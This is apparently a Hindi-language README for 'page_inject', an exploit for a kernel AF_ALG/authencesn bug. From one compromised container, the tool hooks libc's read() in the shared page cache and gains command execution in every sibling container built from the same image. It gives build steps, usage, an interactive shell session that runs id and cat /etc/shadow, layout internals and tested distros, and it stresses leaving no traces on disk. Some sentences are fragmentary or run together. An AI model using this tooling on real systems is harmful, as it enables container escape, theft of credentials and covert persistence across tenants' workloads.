
CVE-2026-31431-killed page-cache exploit — उन कंटेनरों में कोड निष्पादन जो समान इमेज लेयर साझा करते हैं
AF_ALG aead भेद्यता क्रॉस-कंटेनर शोषण -- एक समझौता किए गए कंटेनर से उसी libc.so.6 इमेज लेयर को साझा करने वाले प्रत्येक सहोदर कंटेनर में घुसपैठ करना।
यह एक एस्केप प्रिमिटिव है: यह एक अविशेषाधिकार प्राप्त कंटेनर के अंदर से चलता है जिसे हमलावर पहले ही समझौता कर चुका है, और AF_ALG authencesn ESN-रोटेशन 4-बाइट आर्बिट्ररी-राइट बग (CVE-2026-31431) का उपयोग करके libc.so.6 के पेज-कैश पृष्ठों में एक स्थायी read() हुक लगाता है। क्योंकि Docker/containerd overlayfs की निचली परतों को साझा इनोड के साथ बैक करते हैं, वे पृष्ठ उसी इमेज से तत्कालित प्रत्येक सहोदर कंटेनर को दिखाई देते हैं -- हुक उनकी प्रक्रियाओं में भी सक्रिय हो जाता है, और हमलावर को प्रत्येक के अंदर कमांड निष्पादन मिल जाता है।
victim कहते हैं) तक शेल पहुंच है, जो उसी इमेज से victim के रूप में अन्य कंटेनर (siblings) चलाने वाले होस्ट पर होता है।victim डिफ़ॉल्ट Docker/k8s स्थिति के साथ चलता है: कंटेनर के उपयोगकर्ता नामस्थान के अंदर अविशेषाधिकार प्राप्त uid, डिफ़ॉल्ट seccomp प्रोफ़ाइल, डिफ़ॉल्ट AppArmor प्रोफ़ाइल, कोई विशेष क्षमता नहीं, कोई होस्ट बाइंड माउंट नहीं।victim के पास केवल:
/usr/lib/x86_64-linux-gnu/libc.so.6 या जहां भी डिस्ट्रो इसे स्थापित करता है)socket(AF_ALG, ...) सिस्कॉल परिवारsplice / vmsplice सिस्कॉलchmod +x कर सकता है (जैसे /tmp)algif_aead + authencesn बिल्ड) के प्रति संवेदनशील होना चाहिए।बस इतना ही। कोई विशेष CAP_* नहीं, कोई होस्ट फाइलसिस्टम पहुंच नहीं। हमलावर कंटेनर के अंदर एक स्व-निहित स्थैतिक रूप से लिंक किया गया बाइनरी ड्रॉप करता है, इसे चलाता है, और पेज-कैश भ्रष्टाचार -- और इसलिए हुक -- प्रत्येक सहोदर को दिखाई देने लगता है।
पेज-कैश पृष्ठ पहचान। ओवरलेफ़्स कंटेनर के अंदर, /usr/lib/.../libc.so.6 निचली इमेज लेयर के ext4 इनोड द्वारा प्रदान किया जाता है। एक ही इमेज से शुरू किया गया प्रत्येक कंटेनर उस बैकिंग इनोड को साझा करता है, और कर्नेल का पेज कैच अंतर्निहित इनोड द्वारा कुंजीबद्ध होता है -- ओवरले या नामस्थान द्वारा नहीं। इसलिए पेज-कैश पृष्ठ में एकल 4-बाइट लेखन उन सभी सहोदर कंटेनरों की प्रक्रियाओं को दिखाई देता है जिनके पास वह पृष्ठ mmap'd है।
AF_ALG aead भेद्यता एक ऐसे लेखन को कई में बदल देती है। algif_aead उपयोगकर्ता RX iovec को spliced TX SGL के अनुगामी authsize बाइट्स के साथ जोड़ता है, और authencesn का ESN रोटेशन AAD के seq_high फ़ील्ड को dst[assoclen + cryptlen] पर रखता है -- जो उस जंजीरबद्ध विदेशी पूंछ का पहला बाइट है। Spliced पृष्ठ एक फ़ाइल का पेज-कैश पृष्ठ है जिस तक हमलावर के पास केवल पढ़ने की पहुंच है, लेकिन सिफर वैसे भी उसमें बाइट्स कॉपी करता है, बिना किसी गंदे बुककीपिंग के। (अंतर्निहित यांत्रिकी के लिए crypto/algif_aead.c और crypto/authencesn.c देखें।)
एक कॉल करने योग्य प्रिमिटिव को बूटस्ट्रैप करना। सबसे पहली चीज़ जो page_inject करता है वह Zone A को बूटस्ट्रैप करना है -- उसी AF_ALG डांस का एक asm-एन्कोडेड पुनर्कार्यान्वयन (write_cache.asm), जो libc के गुफा के अंदर रखा जाता है। यह 4-बाइट लेखन को किसी भी भविष्य के हुक पेलोड से एक नियमित बनाता है, बिना प्रति-कॉल सॉकेट सेटअप की आवश्यकता के।
इंजेक्टर को पीड़ित कंटेनर के बाहर बनाया जाता है -- आमतौर पर हमलावर की अपनी डेवलपमेंट मशीन पर -- क्योंकि अधिकांश प्रोडक्शन कंटेनर इमेज कंपाइलर नहीं भेजती हैं। एक मानक Linux x86_64 डेव वातावरण जिसमें gcc (-static लिंक सपोर्ट के साथ) और nasm हो, पर्याप्त है।
make # .asm स्रोतों को gen_arrays.sh के माध्यम से असेंबल करता है, स्थैतिक page_inject लिंक करता है
make shellcode # निरीक्षणीय .bin फ्लैट बाइनरी भी उत्पन्न करता है
make clean # उत्पन्न फ़ाइलों और बाइनरी को हटाता है
आउटपुट एक एकल स्थैतिक रूप से लिंक किया गया ELF (./page_inject) है जो किसी भी आधुनिक x86_64 Linux कर्नेल पर चलता है।
एक बार जब हमलावर के पास victim पर शेल है, तो वे बाइनरी को एक लिखने योग्य निर्देशिका (आमतौर पर /tmp) में अपलोड करते हैं:
# समझौता किए गए कंटेनर के अंदर, हमलावर सत्र
victim$ ./page_inject
बिना तर्कों के, page_inject डिफ़ॉल्ट रूप से /usr/lib/x86_64-linux-gnu/libc.so.6 (मर्ज के बाद Debian/Ubuntu स्थान) का उपयोग करता है। अन्य डिस्ट्रो के लिए libc एक अलग पथ पर है; या तो इसे स्पष्ट रूप से पास करें या कंटेनर के रूट से अंतर्निहित लुकअप तालिका को स्कैन करने के लिए --root / का उपयोग करें:
# Fedora / Rocky / CentOS
victim$ ./page_inject /usr/lib64/libc.so.6
# Arch
victim$ ./page_inject /usr/lib/libc.so.6
# ऑटो-डिटेक्ट, डिस्ट्रो की परवाह किए बिना:
victim$ ./page_inject --root /
दोनों आह्वान एक ही काम करते हैं: कंटेनर के अंदर libc को ELF-पार्स करें, उसके पेज कैच में हुक स्थापित करें, सहोदर के पंजीकरण के दौरान ~30 सेकंड के लिए स्लॉट तालिका की निगरानी करें, और एक सैनिटी जांच के रूप में पंजीकृत होने वाले पहले सहोदर के खिलाफ एक एकल-शॉट id चलाएं।
बूटस्ट्रैप के बाद, किसी भी पंजीकृत सहोदर को चलाने के लिए कमांड शेल में प्रवेश करें:
victim$ ./page_inject --shell --no-bootstrap
=== page-cache shell ===
Containers (3):
[0] 0x0018598d <- target
[1] 0x001859ab
[2] 0x001859cd
inject:0018598d> exec id
uid=0(root) gid=0(root) groups=0(root)
inject:0018598d> target 0x001859ab
inject:001859ab> exec hostname
1ccd66abee9d
inject:001859ab> exec cat /etc/shadow
root:$6$.....
inject:001859ab> unhook
... read() prologue restored, slot table zeroed ...
unhook एक ही शॉट में प्रत्येक सहोदर कंटेनर से हुक को साफ करता है और हुक चाइल्ड को स्वयं समाप्त करने देता है।
Usage: page_inject [OPTIONS] [LIBC_PATH]
Options:
--root <prefix> अंतर्निहित निश्चित-पथ लुकअप तालिका का उपयोग करके
<prefix> के तहत libc.so.6 को स्वचालित रूप से हल करें।
पीड़ित कंटेनर के अंदर वह सामान्यतः --root / होता है।
--shell [0xKEY] इंजेक्शन के बाद इंटरैक्टिव कमांड शेल में प्रवेश करें।
वैकल्पिक KEY लक्ष्य को पूर्व-चुनता है।
--no-bootstrap इंजेक्शन छोड़ें (केवल शेल; हुक पहले से ही पेज कैश
में जीवित होना चाहिए)।
--timeout SEC --shell मोड में स्लॉट निगरानी टाइमआउट
(डिफ़ॉल्ट 30 सेकंड)।
--help, -h सहायता दिखाएँ।
डिफ़ॉल्ट libc (जब कोई --root और कोई LIBC_PATH नहीं दिया गया हो):
/usr/lib/x86_64-linux-gnu/libc.so.6
विभिन्न glibc बिल्ड निष्पादन योग्य LOAD सेगमेंट और अगले केवल-पढ़ने वाले LOAD के बीच .text गुफा स्थान की अलग-अलग मात्रा छोड़ते हैं। page_inject इंजेक्शन के समय दो लेआउट के बीच चयन करता है:
पथ A -- केवल libc (डिफ़ॉल्ट)। Zone C और Zone A दोनों libc के .text गुफा में रहते हैं। स्लॉट तालिका + CMD + OUTPUT क्षेत्र libc के .hash अनुभाग में रहते हैं -- विरासत SysV हैश डेटा जिसे ld.so रनटाइम पर नहीं पढ़ता क्योंकि यह इसके बजाय .gnu.hash का उपयोग करता है। जब .hash अनुपस्थित होता है (Arch के आधुनिक टूलचेन), page_inject स्लॉट क्षेत्र को इसके बजाय .eh_frame_hdr के पूंछ से तराशता है, पहले fde_count फ़ील्ड को सिकोड़ता है ताकि अनवाइंडर अब मुक्त बाइट्स को FDE बाइनरी-सर्च इंडेक्स का हिस्सा नहीं मानता (अनवाइंडर पारदर्शी रूप से किसी भी IP के लिए .eh_frame के रैखिक स्कैन में गिर जाता है जिसका FDE छंटनी की गई श्रेणी में होता था -- LSB-अनिवार्य व्यवहार)।
पथ B -- libc ट्रैम्पोलिन + ld.so पेलोड। कुछ glibc बिल्ड libc गुफा को पूर्ण Zone C + Zone A पेलोड के लिए आवश्यक आकार से नीचे सिकोड़ते हैं (Ubuntu 24.04 / glibc 2.39 एक 711 B गुफा भेजता है)। उस स्थिति में page_inject libc के गुफा में एक 36 B ट्रैम्पोलिन लिखता है -- यह फास्ट-पथ .bss-कुंजी गेट इंट्रा-libc करता है -- और धीमे पथ पर यह libc के GOT स्लॉट से _rtld_global (एक ld.so-पक्ष प्रतीक जिसे प्रत्येक glibc निजी रूप से आयात करता है) के लिए ld.so के रनटाइम बेस की गणना करता है और के गुफा में Zone C के बेस-रजिस्टर संस्करण में कूदता है। स्लॉट तालिका + CMD + OUTPUT + कुंजी सभी libc में रहते हैं; ld.so-पक्ष Zone C ट्रैम्पोलिन द्वारा को सीड करने के बाद के माध्यम से उन तक पहुँचता है।
यदि कोई भी लेआउट फ़िट नहीं होता है, तो page_inject डिस्क या पेज कैश में libc या ld.so में कुछ भी लिखे बिना साफ़ रूप से मना कर देता है।
read() प्रस्तावना संभालनाविभिन्न glibc संस्करण read() में अलग-अलग प्रारंभिक अनुक्रम उत्सर्जित करते हैं। इंजेक्टर प्रत्येक को पहचानता है, उन बाइट्स को वापस पढ़ता है जिन्हें हुक विस्थापित करता है, और उन्हें Zone C के फास्ट-पथ में अनुकरण करता है ताकि एकल-थ्रेडेड read() read+N पर सही ढंग से फिर से शुरू हो:
Zone C में फास्ट-पथ अनुकरण स्लॉट सबसे लंबी ज्ञात प्रस्तावना (8 बाइट्स) और 5-बाइट rel32 jmp के लिए आकारित है; छोटी प्रस्तावनाएँ अनुगामी स्लॉट बाइट को NOP फिलर से भरती हैं ताकि कुल स्लॉट लंबाई स्थिर रहे।
page_inject/
page_inject.c मुख्य इंजेक्टर: ELF पार्सिंग, भेद्यता प्रिमिटिव,
डुअल-पथ लेआउट चयन, इंजेक्ट + अनहुक।
zone_c.asm पथ-A हुक डिस्पैचर शेलकोड।
zone_c_ld.asm पथ-B हुक डिस्पैचर (rbp-बेस संस्करण)।
trampoline.asm पथ-B 36-बाइट libc-पक्ष स्टब।
write_cache.asm Zone A (भेद्यता लेखन प्रिमिटिव शेलकोड)।
gen_arrays.sh .asm -> asm_bytecode.c असेंबल करें।
asm_bytecode.c [उत्पन्न] शेलकोड बाइट ऐरे।
Makefile बिल्ड सिस्टम।
शोषण को निम्नलिखित कंटेनर स्नैप डिस्ट्रो पर एंड-टू-एंड सत्यापित किया गया है। प्रत्येक प्रविष्टि में एक कंटेनर के अंदर से page_inject इंजेक्ट किया गया है और उसी इमेज से शुरू किए गए सहोदर कंटेनर में इसके हुक को फायर करते देखा गया है; पेज-कैश चैनल के माध्यम से कमांड सही ढंग से निष्पादित हुए; और अनहुक ने libc पृष्ठ स्थिति को साफ़ रूप से बहाल किया।
page_inject जानबूझकर स्थैतिक रूप से लिंक किया गया है ताकि हमलावर की अपनी प्रक्रिया उस हुक से प्रभावित न हो जो वह स्थापित करता है।page_inject एक "पहले से हुक किए गए" libc को पहचानता है (read() की प्रस्तावना पर E9 + nops) और पुनः-इंजेक्ट करने से इनकार करता है। यदि आप परीक्षण वातावरण में हैं और आपका पेज कैश उस स्थिति में अटका हुआ है, तो इमेज का उपयोग करने वाले सभी कंटेनरों को रोकें और रीसेट करने के लिए drop_caches चलाएं।.textcallहुक स्थापित करना। इंजेक्टर तब Zone C (zone_c.asm) को libc के .text गुफा में लिखता है और read() के पहले 7-12 बाइट्स को एक E9 disp32 जंप से उसमें पैच करता है। प्रस्तावना के विस्थापित बाइट्स को Zone C के फास्ट-पथ में विश्वसनीय रूप से अनुकरण किया जाता है (तीन अलग-अलग glibc प्रस्तावनाएँ पहचानी जाती हैं -- नीचे "Prologue handling" देखें)। हुक अब libc के पेज कैच में जीवित है।
हुक प्रसार। प्रत्येक सहोदर कंटेनर उन प्रक्रियाओं को चलाता है जो लगातार read() कॉल करती हैं (लॉगिंग डेमॉन, हेल्थचेक, cat /etc/hostname, कुछ भी)। एक सहोदर कंटेनर के अंदर ऐसी पहली कॉल पर, अपहृत प्रस्तावना Zone C में कूद जाती है, जो:
stat("/") करता है कंटेनर के रूट इनोड (एक स्थिर प्रति-नामस्थान ID), इसका उपयोग कंटेनर के स्लॉट कुंजी के रूप में करता है,fork() करता है जो आदेशों के लिए CMD क्षेत्र को पोल करता है,read()+N पर लौटता है ताकि कॉल करने वाला अनजान रहे।
मूल सहोदर प्रक्रिया चलती रहती है। अब से हमलावर के पास उस कंटेनर के अंदर एक डेमॉन है।कमांड चैनल। हमलावर उसी page_inject बाइनरी का --shell मोड में उपयोग करता है ताकि स्लॉट क्षेत्र के CMD क्षेत्र में कमांड लिख सके। प्रत्येक पंजीकृत सहोदर कंटेनर का हुक चाइल्ड पोल करता है, /bin/sh -c <cmd> को fork करता है, stdout/stderr को OUTPUT क्षेत्र में कैप्चर करता है, पूर्णता को संकेत देता है, और पोलिंग पर वापस जाता है। शेल आउटपुट दिखाता है। क्योंकि प्रत्येक CMD/OUTPUT लेखन भी भेद्यता प्रिमिटिव से गुजरता है, किसी विशेष विशेषाधिकार की आवश्यकता नहीं है।
अनहुक। जब काम हो जाता है, unhook read() के मूल प्रस्तावना बाइट्स को पुनर्स्थापित करता है और स्लॉट तालिका को शून्य करता है; हुक चाइल्ड अपने अगले पुनरावृत्ति पर एक खाली स्लॉट देखते हैं और स्वयं समाप्त हो जाते हैं। पेज-कैश संशोधन स्वयं साफ हैं (कर्नेल ने कभी संशोधित पृष्ठों को गंदा नहीं चिह्नित किया), इसलिए एक बार libc को mmap'd करने वाला प्रत्येक कंटेनर रोक दिया जाता है, drop_caches कैश को पूरी तरह से वापस लेता है -- डिस्क पर कोई आर्टिफैक्ट नहीं रहता।
.text.bssrbp = libc_baserbp + offset| Glibc श्रेणी | प्रस्तावना (वैकल्पिक endbr64 के बाद) | नोट्स |
|---|
| 2.36 / 2.39 | cmpb $0x0, __libc_single_threaded(%rip) | 7 बाइट्स; अनुकरण cmpb ZF को मूल jne .Lthreaded के लिए सेट करता है। |
| 2.43 | push rbp; movsxd rdi,edi; xor r9d,r9d | 7 बाइट्स; बाइट-दर-बाइट अनुकरण। |
| 2.31 / 2.35 | mov eax, fs:[0x18] | 8 बाइट्स; बाइट-दर-बाइट अनुकरण (FS-उपसर्ग [disp32] निरपेक्ष है, RIP-सापेक्ष नहीं, इसलिए बाइट-कॉपी विश्वसनीय है)। |
| इमेज | glibc | इंजेक्ट पथ | read() प्रस्तावना | स्लॉट क्षेत्र |
|---|
debian:bookworm | 2.36 | A | cmpb | .hash |
ubuntu:24.04 | 2.39 | B | cmpb | .hash (libc-पक्ष, ld.so से rbp के माध्यम से संबोधित) |
ubuntu:22.04 | 2.35 | A | TLS-fs | .hash |
fedora:40 | 2.39 | A | cmpb | .hash |
archlinux:latest | 2.43 | A | push-rbp | .eh_frame_hdr (छंटनी की गई पूंछ) |